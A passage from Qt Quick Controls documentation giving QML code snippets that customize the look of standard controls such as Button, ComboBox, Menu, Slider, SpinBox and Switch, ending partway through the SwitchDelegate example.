            MyStyle.elevation: 10
        }
    }
}
```
 One button has no elevation, and the other has an elevation of `10`.

 With that in place, we can run our example. To tell the application to use our new style, we pass `-style MyStyle` as an application argument, but there are [many ways](qtquickcontrols2-styles#using-styles-in-qt-quick-controls) to specify the style to use.

 The end result:

 ![]


Note that the `import MyStyle 1.0` statement is only necessary because we are using the attached property belonging to `MyStyle`. Both buttons will use our custom style, even if we were to remove the import.

 Customization Reference
-----------------------

 The following snippets present examples where the Basic style's controls have been customized using the same approach as the [Customizing a Control](qtquickcontrols2-customize#customizing-a-control) section. The code can be used as a starting point to implement a custom look and feel.

  **Note:** The [macOS](qtquickcontrols2-macos) and [Windows](qtquickcontrols2-windows) styles are not suitable for customizing. It is instead recommended to always base a customized control on top of a single style that is available on all platforms, e.g [Basic Style](qtquickcontrols2-basic), [Fusion Style](qtquickcontrols2-fusion), [Imagine Style](qtquickcontrols2-imagine), [Material Style](qtquickcontrols2-material), [Universal Style](qtquickcontrols2-universal). By doing so, you are guaranteed that it will always look the same, regardless of which style the application is run with. For example:

  
```
import QtQuick.Controls.Basic as Basic

Basic.SpinBox {
    background: Rectangle { /* ... */ }
}
```
 **See also** [Styling Qt Quick Controls](qtquickcontrols2-styles)

 ### Customizing ApplicationWindow

 [ApplicationWindow](qml-qtquick-controls2-applicationwindow) consists of one visual item: [background](qml-qtquick-controls2-applicationwindow#background-prop).

 
```
import
import QtQuick.Controls

ApplicationWindow {
    visible: true

    background: Rectangle {
        gradient: Gradient {
            GradientStop { position: 0; color: "#ffffff" }
            GradientStop { position: 1; color: "#c1bbf9" }
        }
    }
}
```
 ### Customizing BusyIndicator

 [BusyIndicator](qml-qtquick-controls2-busyindicator) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [contentItem](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

BusyIndicator {
    id: control

    contentItem: Item {
        implicitWidth: 64
        implicitHeight: 64

        Item {
            id: item
            x: parent.width / 2 - 32
            y: parent.height / 2 - 32
            width: 64
            height: 64
            opacity: control.running ? 1 : 0

            Behavior on opacity {
                OpacityAnimator {
                    duration: 250
                }
            }

            RotationAnimator {
                target: item
                running: control.visible && control.running
                from: 0
                to: 360
                loops: Animation.Infinite
                duration: 1250
            }

            Repeater {
                id: repeater
                model: 6

                Rectangle {
                    id: delegate
                    x: item.width / 2 - width / 2
                    y: item.height / 2 - height / 2
                    implicitWidth: 10
                    implicitHeight: 10
                    radius: 5
                    color: "#21be2b"

                    required property int index

                    transform: [
                        Translate {
                            y: -Math.min(item.width, item.height) * 0.5 + 5
                        },
                        Rotation {
                            angle: delegate.index / repeater.count * 360
                            origin.x: 5
                            origin.y: 5
                        }
                    ]
                }
            }
        }
    }
}
```
 ### Customizing Button

 Button consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Button {
    id: control
    text: qsTr("Button")

    contentItem: Text {
        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        horizontalAlignment: Text.AlignHCenter
        verticalAlignment: Text.AlignVCenter
        elide: Text.ElideRight
    }

    background: Rectangle {
        implicitWidth: 100
        implicitHeight: 40
        opacity: enabled ? 1 : 0.3
        border.color: control.down ? "#17a81a" : "#21be2b"
        border.width: 1
        radius: 2
    }
}
```
 ### Customizing CheckBox

 [CheckBox](qml-qtquick-controls2-checkbox) consists of three visual items: [background](qml-qtquick-controls2-control#background-prop), [contentItem](qml-qtquick-controls2-control#contentItem-prop) and [indicator](qml-qtquick-controls2-abstractbutton#indicator-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

CheckBox {
    id: control
    text: qsTr("CheckBox")
    checked: true

    indicator: Rectangle {
        implicitWidth: 26
        implicitHeight: 26
        x: control.leftPadding
        y: parent.height / 2 - height / 2
        radius: 3
        border.color: control.down ? "#17a81a" : "#21be2b"

        Rectangle {
            width: 14
            height: 14
            x: 6
            y: 6
            radius: 2
            color: control.down ? "#17a81a" : "#21be2b"
            visible: control.checked
        }
    }

    contentItem: Text {
        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        verticalAlignment: Text.AlignVCenter
        leftPadding: control.indicator.width + control.spacing
    }
}
```
 ### Customizing CheckDelegate

 [CheckDelegate](qml-qtquick-controls2-checkdelegate) consists of three visual items: [background](qml-qtquick-controls2-control#background-prop), [contentItem](qml-qtquick-controls2-control#contentItem-prop) and [indicator](qml-qtquick-controls2-abstractbutton#indicator-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

CheckDelegate {
    id: control
    text: qsTr("CheckDelegate")
    checked: true

    contentItem: Text {
        rightPadding: control.indicator.width + control.spacing
        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        elide: Text.ElideRight
        verticalAlignment: Text.AlignVCenter
    }

    indicator: Rectangle {
        implicitWidth: 26
        implicitHeight: 26
        x: control.width - width - control.rightPadding
        y: control.topPadding + control.availableHeight / 2 - height / 2
        radius: 3
        color: "transparent"
        border.color: control.down ? "#17a81a" : "#21be2b"

        Rectangle {
            width: 14
            height: 14
            x: 6
            y: 6
            radius: 2
            color: control.down ? "#17a81a" : "#21be2b"
            visible: control.checked
        }
    }

    background: Rectangle {
        implicitWidth: 100
        implicitHeight: 40
        visible: control.down || control.highlighted
        color: control.down ? "#bdbebf" : "#eeeeee"
    }
}
```
 ### Customizing ComboBox

 [ComboBox](qml-qtquick-controls2-combobox) consists of [background](qml-qtquick-controls2-control#background-prop), [content item](qml-qtquick-controls2-control#contentItem-prop), [popup](qml-qtquick-controls2-combobox#popup-prop), [indicator](qml-qtquick-controls2-combobox#indicator-prop), and [delegate](qml-qtquick-controls2-combobox#delegate-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

ComboBox {
    id: control
    model: ["First", "Second", "Third"]

    delegate: ItemDelegate {
        width: control.width
        contentItem: Text {
            text: modelData
            color: "#21be2b"
            font: control.font
            elide: Text.ElideRight
            verticalAlignment: Text.AlignVCenter
        }
        highlighted: control.highlightedIndex === index

        required property int index
    }

    indicator: Canvas {
        id: canvas
        x: control.width - width - control.rightPadding
        y: control.topPadding + (control.availableHeight - height) / 2
        width: 12
        height: 8
        contextType: "2d"

        Connections {
            target: control
            function onPressedChanged() { canvas.requestPaint(); }
        }

        onPaint: {
            context.reset();
            context.moveTo(0, 0);
            context.lineTo(width, 0);
            context.lineTo(width / 2, height);
            context.closePath();
            context.fillStyle = control.pressed ? "#17a81a" : "#21be2b";
            context.fill();
        }
    }

    contentItem: Text {
        leftPadding: 0
        rightPadding: control.indicator.width + control.spacing

        text: control.displayText
        font: control.font
        color: control.pressed ? "#17a81a" : "#21be2b"
        verticalAlignment: Text.AlignVCenter
        elide: Text.ElideRight
    }

    background: Rectangle {
        implicitWidth: 120
        implicitHeight: 40
        border.color: control.pressed ? "#17a81a" : "#21be2b"
        border.width: control.visualFocus ? 2 : 1
        radius: 2
    }

    popup: Popup {
        y: control.height - 1
        width: control.width
        implicitHeight: contentItem.implicitHeight
        padding: 1

        contentItem: ListView {
            clip: true
            implicitHeight: contentHeight
            model: control.popup.visible ? control.delegateModel : null
            currentIndex: control.highlightedIndex

            ScrollIndicator.vertical: ScrollIndicator { }
        }

        background: Rectangle {
            border.color: "#21be2b"
            radius: 2
        }
    }
}
```
 ### Customizing DelayButton

 [DelayButton](qml-qtquick-controls2-delaybutton) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

DelayButton {
    id: control
    checked: true
    text: qsTr("Delay\nButton")

    contentItem: Text {
        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: "white"
        horizontalAlignment: Text.AlignHCenter
        verticalAlignment: Text.AlignVCenter
        elide: Text.ElideRight
    }

    background: Rectangle {
        implicitWidth: 100
        implicitHeight: 100
        opacity: enabled ? 1 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        radius: size / 2

        readonly property real size: Math.min(control.width, control.height)
        width: size
        height: size
        anchors.centerIn: parent

        Canvas {
            id: canvas
            anchors.fill: parent

            Connections {
                target: control
                function onProgressChanged() { canvas.requestPaint(); }
            }

            onPaint: {
                var ctx = getContext("2d")
                ctx.clearRect(0, 0, width, height)
                ctx.strokeStyle = "white"
                ctx.lineWidth = parent.size / 20
                ctx.beginPath()
                var startAngle = Math.PI / 5 * 3
                var endAngle = startAngle + control.progress * Math.PI / 5 * 9
                ctx.arc(width / 2, height / 2, width / 2 - ctx.lineWidth / 2 - 2, startAngle, endAngle)
                ctx.stroke()
            }
        }
    }
}
```
 ### Customizing Dial

 Dial consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [handle](qml-qtquick-controls2-dial#handle-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Dial {
    id: control
    background: Rectangle {
        x: control.width / 2 - width / 2
        y: control.height / 2 - height / 2
        width: Math.max(64, Math.min(control.width, control.height))
        height: width
        color: "transparent"
        radius: width / 2
        border.color: control.pressed ? "#17a81a" : "#21be2b"
        opacity: control.enabled ? 1 : 0.3
    }

    handle: Rectangle {
        id: handleItem
        x: control.background.x + control.background.width / 2 - width / 2
        y: control.background.y + control.background.height / 2 - height / 2
        width: 16
        height: 16
        color: control.pressed ? "#17a81a" : "#21be2b"
        radius: 8
        antialiasing: true
        opacity: control.enabled ? 1 : 0.3
        transform: [
            Translate {
                y: -Math.min(control.background.width, control.background.height) * 0.4 + handleItem.height / 2
            },
            Rotation {
                angle: control.angle
                origin.x: handleItem.width / 2
                origin.y: handleItem.height / 2
            }
        ]
    }
}
```
 ### Customizing Drawer

 Drawer can have a visual [background](qml-qtquick-controls2-control#background-prop) item.

 
```
background: Rectangle {
    Rectangle {
        x: parent.width - 1
        width: 1
        height: parent.height
        color: "#21be2b"
    }
}
```
 ### Customizing Frame

 Frame consists of one visual item: [background](qml-qtquick-controls2-control#background-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Frame {
    background: Rectangle {
        color: "transparent"
        border.color: "#21be2b"
        radius: 2
    }

    Label {
        text: qsTr("Content goes here!")
    }
}
```
 ### Customizing GroupBox

 [GroupBox](qml-qtquick-controls2-groupbox) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [label](qml-qtquick-controls2-groupbox#label-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

GroupBox {
    id: control
    title: qsTr("GroupBox")

    background: Rectangle {
        y: control.topPadding - control.bottomPadding
        width: parent.width
        height: parent.height - control.topPadding + control.bottomPadding
        color: "transparent"
        border.color: "#21be2b"
        radius: 2
    }

    label: Label {
        x: control.leftPadding
        width: control.availableWidth
        text: control.title
        color: "#21be2b"
        elide: Text.ElideRight
    }

    Label {
        text: qsTr("Content goes here!")
    }
}
```
 ### Customizing ItemDelegate

 [ItemDelegate](qml-qtquick-controls2-itemdelegate) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

ItemDelegate {
    id: control
    text: qsTr("ItemDelegate")

    contentItem: Text {
        rightPadding: control.spacing
        text: control.text
        font: control.font
        color: control.enabled ? (control.down ? "#17a81a" : "#21be2b") : "#bdbebf"
        elide: Text.ElideRight
        verticalAlignment: Text.AlignVCenter
    }

    background: Rectangle {
        implicitWidth: 100
        implicitHeight: 40
        opacity: enabled ? 1 : 0.3
        color: control.down ? "#dddedf" : "#eeeeee"

        Rectangle {
            width: parent.width
            height: 1
            color: control.down ? "#17a81a" : "#21be2b"
            anchors.bottom: parent.bottom
        }
    }
}
```
 ### Customizing Label

 Label can have a visual [background](qml-qtquick-controls2-label#background-prop) item.

 ![]



```
import QtQuick
import QtQuick.Controls

Label {
    text: qsTr("Label")
    color: "#21be2b"
}
```
 ### Customizing Menu

 * [Menu](qtquickcontrols-changes-qt6#menu) consists of a visual [background](qml-qtquick-controls2-popup#background-prop) item.
* [MenuItem](qml-qtquick-controls2-menuitem) consists of four visual items: [background](qml-qtquick-controls2-control#background-prop), [content item](qml-qtquick-controls2-control#contentItem-prop), [indicator](qml-qtquick-controls2-abstractbutton#indicator-prop), and [arrow](qml-qtquick-controls2-menuitem#arrow-prop).
* [MenuSeparator](qml-qtquick-controls2-menuseparator) consists of a visual [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Menu {
    id: menu

    Action { text: qsTr("Tool Bar"); checkable: true }
    Action { text: qsTr("Side Bar"); checkable: true; checked: true }
    Action { text: qsTr("Status Bar"); checkable: true; checked: true }

    MenuSeparator {
        contentItem: Rectangle {
            implicitWidth: 200
            implicitHeight: 1
            color: "#21be2b"
        }
    }

    Menu {
        title: qsTr("Advanced")
        // ...
    }

    topPadding: 2
    bottomPadding: 2

    delegate: MenuItem {
        id: menuItem
        implicitWidth: 200
        implicitHeight: 40

        arrow: Canvas {
            x: parent.width - width
            implicitWidth: 40
            implicitHeight: 40
            visible: menuItem.subMenu
            onPaint: {
                var ctx = getContext("2d")
                ctx.fillStyle = menuItem.highlighted ? "#ffffff" : "#21be2b"
                ctx.moveTo(15, 15)
                ctx.lineTo(width - 15, height / 2)
                ctx.lineTo(15, height - 15)
                ctx.closePath()
                ctx.fill()
            }
        }

        indicator: Item {
            implicitWidth: 40
            implicitHeight: 40
            Rectangle {
                width: 26
                height: 26
                anchors.centerIn: parent
                visible: menuItem.checkable
                border.color: "#21be2b"
                radius: 3
                Rectangle {
                    width: 14
                    height: 14
                    anchors.centerIn: parent
                    visible: menuItem.checked
                    color: "#21be2b"
                    radius: 2
                }
            }
        }

        contentItem: Text {
            leftPadding: menuItem.indicator.width
            rightPadding: menuItem.arrow.width
            text: menuItem.text
            font: menuItem.font
            opacity: enabled ? 1.0 : 0.3
            color: menuItem.highlighted ? "#ffffff" : "#21be2b"
            horizontalAlignment: Text.AlignLeft
            verticalAlignment: Text.AlignVCenter
            elide: Text.ElideRight
        }

        background: Rectangle {
            implicitWidth: 200
            implicitHeight: 40
            opacity: enabled ? 1 : 0.3
            color: menuItem.highlighted ? "#21be2b" : "transparent"
        }
    }

    background: Rectangle {
        implicitWidth: 200
        implicitHeight: 40
        color: "#ffffff"
        border.color: "#21be2b"
        radius: 2
    }
}
```
 ### Customizing MenuBar

 [MenuBar](qml-qtquick-controls2-menubar) can have a visual [background](qml-qtquick-controls2-control#background-prop) item, and [MenuBarItem](qml-qtquick-controls2-menubaritem) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

MenuBar {
    id: menuBar

    Menu { title: qsTr("File") }
    Menu { title: qsTr("Edit") }
    Menu { title: qsTr("View") }
    Menu { title: qsTr("Help") }

    delegate: MenuBarItem {
        id: menuBarItem

        contentItem: Text {
            text: menuBarItem.text
            font: menuBarItem.font
            opacity: enabled ? 1.0 : 0.3
            color: menuBarItem.highlighted ? "#ffffff" : "#21be2b"
            horizontalAlignment: Text.AlignLeft
            verticalAlignment: Text.AlignVCenter
            elide: Text.ElideRight
        }

        background: Rectangle {
            implicitWidth: 40
            implicitHeight: 40
            opacity: enabled ? 1 : 0.3
            color: menuBarItem.highlighted ? "#21be2b" : "transparent"
        }
    }

    background: Rectangle {
        implicitWidth: 40
        implicitHeight: 40
        color: "#ffffff"

        Rectangle {
            color: "#21be2b"
            width: parent.width
            height: 1
            anchors.bottom: parent.bottom
        }
    }
}
```
 ### Customizing PageIndicator

 [PageIndicator](qml-qtquick-controls2-pageindicator) consists of a [background](qml-qtquick-controls2-control#background-prop), [content item](qml-qtquick-controls2-control#contentItem-prop), and [delegate](qml-qtquick-controls2-pageindicator#delegate-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

PageIndicator {
    id: control
    count: 5
    currentIndex: 2

    delegate: Rectangle {
        implicitWidth: 8
        implicitHeight: 8

        radius: width / 2
        color: "#21be2b"

        opacity: index === control.currentIndex ? 0.95 : pressed ? 0.7 : 0.45

        required property int index

        Behavior on opacity {
            OpacityAnimator {
                duration: 100
            }
        }
    }
}
```
 ### Customizing Pane

 Pane consists of a [background](qml-qtquick-controls2-control#background-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Pane {
    background: Rectangle {
        color: "#eeeeee"
    }

    Label {
        text: qsTr("Content goes here!")
    }
}
```
 ### Customizing Popup

 Popup consists of a [background](qml-qtquick-controls2-popup#background-prop) and [content item](qml-qtquick-controls2-popup#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Popup {
    id: popup
    background: Rectangle {
        implicitWidth: 200
        implicitHeight: 200
        border.color: "#444"
    }
    contentItem: Column {}
}
```
 ### Customizing ProgressBar

 [ProgressBar](qml-qtquick-controls2-progressbar) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

ProgressBar {
    id: control
    value: 0.5
    padding: 2

    background: Rectangle {
        implicitWidth: 200
        implicitHeight: 6
        color: "#e6e6e6"
        radius: 3
    }

    contentItem: Item {
        implicitWidth: 200
        implicitHeight: 4

        Rectangle {
            width: control.visualPosition * parent.width
            height: parent.height
            radius: 2
            color: "#17a81a"
        }
    }
}
```
 ### Customizing RadioButton

 [RadioButton](qml-qtquick-controls2-radiobutton) consists of three visual items: [background](qml-qtquick-controls2-control#background-prop), [content item](qml-qtquick-controls2-control#contentItem-prop) and [indicator](qml-qtquick-controls2-abstractbutton#indicator-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

RadioButton {
    id: control
    text: qsTr("RadioButton")
    checked: true

    indicator: Rectangle {
        implicitWidth: 26
        implicitHeight: 26
        x: control.leftPadding
        y: parent.height / 2 - height / 2
        radius: 13
        border.color: control.down ? "#17a81a" : "#21be2b"

        Rectangle {
            width: 14
            height: 14
            x: 6
            y: 6
            radius: 7
            color: control.down ? "#17a81a" : "#21be2b"
            visible: control.checked
        }
    }

    contentItem: Text {
        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        verticalAlignment: Text.AlignVCenter
        leftPadding: control.indicator.width + control.spacing
    }
}
```
 ### Customizing RadioDelegate

 [RadioDelegate](qml-qtquick-controls2-radiodelegate) consists of three visual items: [background](qml-qtquick-controls2-control#background-prop), [contentItem](qml-qtquick-controls2-control#contentItem-prop) and [indicator](qml-qtquick-controls2-abstractbutton#indicator-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

RadioDelegate {
    id: control
    text: qsTr("RadioDelegate")
    checked: true

    contentItem: Text {
        rightPadding: control.indicator.width + control.spacing
        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        elide: Text.ElideRight
        verticalAlignment: Text.AlignVCenter
    }

    indicator: Rectangle {
        implicitWidth: 26
        implicitHeight: 26
        x: control.width - width - control.rightPadding
        y: parent.height / 2 - height / 2
        radius: 13
        color: "transparent"
        border.color: control.down ? "#17a81a" : "#21be2b"

        Rectangle {
            width: 14
            height: 14
            x: 6
            y: 6
            radius: 7
            color: control.down ? "#17a81a" : "#21be2b"
            visible: control.checked
        }
    }

    background: Rectangle {
        implicitWidth: 100
        implicitHeight: 40
        visible: control.down || control.highlighted
        color: control.down ? "#bdbebf" : "#eeeeee"
    }
}
```
 ### Customizing RangeSlider

 [RangeSlider](qml-qtquick-controls2-rangeslider) consists of three visual items: [background](qml-qtquick-controls2-control#background-prop), [first.handle](qml-qtquick-controls2-rangeslider#first-prop) and [second.handle](qml-qtquick-controls2-rangeslider#second.handle-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

RangeSlider {
    id: control
    first.value: 0.25
    second.value: 0.75

    background: Rectangle {
        x: control.leftPadding
        y: control.topPadding + control.availableHeight / 2 - height / 2
        implicitWidth: 200
        implicitHeight: 4
        width: control.availableWidth
        height: implicitHeight
        radius: 2
        color: "#bdbebf"

        Rectangle {
            x: control.first.visualPosition * parent.width
            width: control.second.visualPosition * parent.width - x
            height: parent.height
            color: "#21be2b"
            radius: 2
        }
    }

    first.handle: Rectangle {
        x: control.leftPadding + control.first.visualPosition * (control.availableWidth - width)
        y: control.topPadding + control.availableHeight / 2 - height / 2
        implicitWidth: 26
        implicitHeight: 26
        radius: 13
        color: control.first.pressed ? "#f0f0f0" : "#f6f6f6"
        border.color: "#bdbebf"
    }

    second.handle: Rectangle {
        x: control.leftPadding + control.second.visualPosition * (control.availableWidth - width)
        y: control.topPadding + control.availableHeight / 2 - height / 2
        implicitWidth: 26
        implicitHeight: 26
        radius: 13
        color: control.second.pressed ? "#f0f0f0" : "#f6f6f6"
        border.color: "#bdbebf"
    }
}
```
 ### Customizing RoundButton

 [RoundButton](qml-qtquick-controls2-roundbutton) can be customized in the same manner as [Button](qtquickcontrols2-customize#customizing-button).

 ### Customizing ScrollBar

 [ScrollBar](qml-qtquick-controls2-scrollbar) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

ScrollBar {
    id: control
    size: 0.3
    position: 0.2
    active: true
    orientation: Qt.Vertical

    contentItem: Rectangle {
        implicitWidth: 6
        implicitHeight: 100
        radius: width / 2
        color: control.pressed ? "#81e889" : "#c2f4c6"
        // Hide the ScrollBar when it's not needed.
        opacity: control.policy === ScrollBar.AlwaysOn || (control.active && control.size < 1.0) ? 0.75 : 0

        // Animate the changes in opacity (default duration is 250 ms).
        Behavior on opacity {
            NumberAnimation {}
        }
    }
}
```
 ### Customizing ScrollIndicator

 [ScrollIndicator](qml-qtquick-controls2-scrollindicator) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

ScrollIndicator {
    id: control
    size: 0.3
    position: 0.2
    active: true
    orientation: Qt.Vertical

    contentItem: Rectangle {
        implicitWidth: 2
        implicitHeight: 100
        color: "#c2f4c6"
    }
}
```
 ### Customizing ScrollView

 [ScrollView](qml-qtquick-controls2-scrollview) consists of a [background](qml-qtquick-controls2-control#background-prop) item, and horizontal and vertical scroll bars.

 ![]



```
ScrollView {
    id: control

    width: 200
    height: 200
    focus: true

    Label {
        text: "ABC"
        font.pixelSize: 224
    }

    ScrollBar.vertical: ScrollBar {
        parent: control
        x: control.mirrored ? 0 : control.width - width
        y: control.topPadding
        height: control.availableHeight
        active: control.ScrollBar.horizontal.active
    }

    ScrollBar.horizontal: ScrollBar {
        parent: control
        x: control.leftPadding
        y: control.height - height
        width: control.availableWidth
        active: control.ScrollBar.vertical.active
    }

    background: Rectangle {
        border.color: control.activeFocus ? "#21be2b" : "#bdbebf"
    }
}
```
 ### Customizing Slider

 Slider consists of two visual items: [background](qml-qtquick-controls2-control#background-prop), and [handle](qml-qtquick-controls2-slider#handle-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Slider {
    id: control
    value: 0.5

    background: Rectangle {
        x: control.leftPadding
        y: control.topPadding + control.availableHeight / 2 - height / 2
        implicitWidth: 200
        implicitHeight: 4
        width: control.availableWidth
        height: implicitHeight
        radius: 2
        color: "#bdbebf"

        Rectangle {
            width: control.visualPosition * parent.width
            height: parent.height
            color: "#21be2b"
            radius: 2
        }
    }

    handle: Rectangle {
        x: control.leftPadding + control.visualPosition * (control.availableWidth - width)
        y: control.topPadding + control.availableHeight / 2 - height / 2
        implicitWidth: 26
        implicitHeight: 26
        radius: 13
        color: control.pressed ? "#f0f0f0" : "#f6f6f6"
        border.color: "#bdbebf"
    }
}
```
 ### Customizing SpinBox

 [SpinBox](qml-qtquick-controls2-spinbox) consists of four visual items: [background](qml-qtquick-controls2-control#background-prop), [contentItem](qml-qtquick-controls2-control#contentItem-prop), [up indicator](qml-qtquick-controls2-spinbox#up.indicator-prop), and [down indicator](qml-qtquick-controls2-spinbox#down.indicator-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

SpinBox {
    id: control
    value: 50
    editable: true

    contentItem: TextInput {
        z: 2
        text: control.textFromValue(control.value, control.locale)

        font: control.font
        color: "#21be2b"
        selectionColor: "#21be2b"
        selectedTextColor: "#ffffff"
        horizontalAlignment: Qt.AlignHCenter
        verticalAlignment: Qt.AlignVCenter

        readOnly: !control.editable
        validator: control.validator
        inputMethodHints: Qt.ImhFormattedNumbersOnly
    }

    up.indicator: Rectangle {
        x: control.mirrored ? 0 : parent.width - width
        height: parent.height
        implicitWidth: 40
        implicitHeight: 40
        color: control.up.pressed ? "#e4e4e4" : "#f6f6f6"
        border.color: enabled ? "#21be2b" : "#bdbebf"

        Text {
            text: "+"
            font.pixelSize: control.font.pixelSize * 2
            color: "#21be2b"
            anchors.fill: parent
            fontSizeMode: Text.Fit
            horizontalAlignment: Text.AlignHCenter
            verticalAlignment: Text.AlignVCenter
        }
    }

    down.indicator: Rectangle {
        x: control.mirrored ? parent.width - width : 0
        height: parent.height
        implicitWidth: 40
        implicitHeight: 40
        color: control.down.pressed ? "#e4e4e4" : "#f6f6f6"
        border.color: enabled ? "#21be2b" : "#bdbebf"

        Text {
            text: "-"
            font.pixelSize: control.font.pixelSize * 2
            color: "#21be2b"
            anchors.fill: parent
            fontSizeMode: Text.Fit
            horizontalAlignment: Text.AlignHCenter
            verticalAlignment: Text.AlignVCenter
        }
    }

    background: Rectangle {
        implicitWidth: 140
        border.color: "#bdbebf"
    }
}
```
 ### Customizing SplitView

 [SplitView](qml-qtquick-controls2-splitview) consists of a visual [handle](qml-qtquick-controls2-splitview#handle-prop) delegate.

 ![]



```
SplitView {
    id: splitView
    anchors.fill: parent

    handle: Rectangle {
        implicitWidth: 4
        implicitHeight: 4
        color: SplitHandle.pressed ? "#81e889"
            : (SplitHandle.hovered ? Qt.lighter("#c2f4c6", 1.1) : "#c2f4c6")
    }

    Rectangle {
        implicitWidth: 150
        color: "#444"
    }
    Rectangle {
        implicitWidth: 50
        color: "#666"
    }
}
```
 ### Customizing StackView

 [StackView](qml-qtquick-controls2-stackview) can have a visual [background](qml-qtquick-controls2-control#background-prop) item, and it allows customizing the transitions that are used for push, pop, and replace operations.

 
```
import QtQuick
import QtQuick.Controls

StackView {
    id: control

    popEnter: Transition {
        XAnimator {
            from: (control.mirrored ? -1 : 1) * -control.width
            to: 0
            duration: 400
            easing.type: Easing.OutCubic
        }
    }

    popExit: Transition {
        XAnimator {
            from: 0
            to: (control.mirrored ? -1 : 1) * control.width
            duration: 400
            easing.type: Easing.OutCubic
        }
    }
}
```
 ### Customizing SwipeDelegate

 [SwipeDelegate](qml-qtquick-controls2-swipedelegate) consists of six visual items: [background](qml-qtquick-controls2-control#background-prop), [content item](qml-qtquick-controls2-control#contentItem-prop), [indicator](qml-qtquick-controls2-abstractbutton#indicator-prop), `swipe.left`, `swipe.right`, and `swipe.behind`.

 ![]



```
import QtQuick
import QtQuick.Controls

SwipeDelegate {
    id: control
    text: qsTr("SwipeDelegate")

    Component {
        id: component

        Rectangle {
            color: SwipeDelegate.pressed ? "#333" : "#444"
            width: parent.width
            height: parent.height
            clip: true

            Label {
                text: qsTr("Press me!")
                color: "#21be2b"
                anchors.centerIn: parent
            }
        }
    }

    swipe.left: component
    swipe.right: component

    contentItem: Text {
        text: control.text
        font: control.font
        color: control.enabled ? (control.down ? "#17a81a" : "#21be2b") : "#bdbebf"
        elide: Text.ElideRight
        verticalAlignment: Text.AlignVCenter

        Behavior on x {
            enabled: !control.down
            NumberAnimation {
                easing.type: Easing.InOutCubic
                duration: 400
            }
        }
    }
}
```
 ### Customizing SwipeView

 [SwipeView](qml-qtquick-controls2-swipeview) can have a visual [background](qml-qtquick-controls2-control#background-prop) item. The navigation is implemented by the [content item](qml-qtquick-controls2-control#contentItem-prop).

 
```
import QtQuick
import QtQuick.Controls

SwipeView {
    id: control

    background: Rectangle {
        color: "#eeeeee"
    }
}
```
 ### Customizing Switch

 Switch consists of three visual items: [background](qml-qtquick-controls2-control#background-prop), [content item](qml-qtquick-controls2-control#contentItem-prop) and [indicator](qml-qtquick-controls2-abstractbutton#indicator-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Switch {
    id: control
    text: qsTr("Switch")

    indicator: Rectangle {
        implicitWidth: 48
        implicitHeight: 26
        x: control.leftPadding
        y: parent.height / 2 - height / 2
        radius: 13
        color: control.checked ? "#17a81a" : "#ffffff"
        border.color: control.checked ? "#17a81a" : "#cccccc"

        Rectangle {
            x: control.checked ? parent.width - width : 0
            width: 26
            height: 26
            radius: 13
            color: control.down ? "#cccccc" : "#ffffff"
            border.color: control.checked ? (control.down ? "#17a81a" : "#21be2b") : "#999999"
        }
    }

    contentItem: Text {
        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        verticalAlignment: Text.AlignVCenter
        leftPadding: control.indicator.width + control.spacing
    }
}
```
 ### Customizing SwitchDelegate

 [SwitchDelegate](qml-qtquick-controls2-switchdelegate) consists of three visual items: [background](qml-qtquick-controls2-control#background-prop), [contentItem](qml-qtquick-controls2-control#contentItem-prop) and [indicator](qml-qtquick-controls2-abstractbutton#indicator-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

SwitchDelegate {
    id: control
    text: qsTr("SwitchDelegate")
    checked: true

    contentItem: Text {
        rightPadding: control.indicator.width + control.spacing
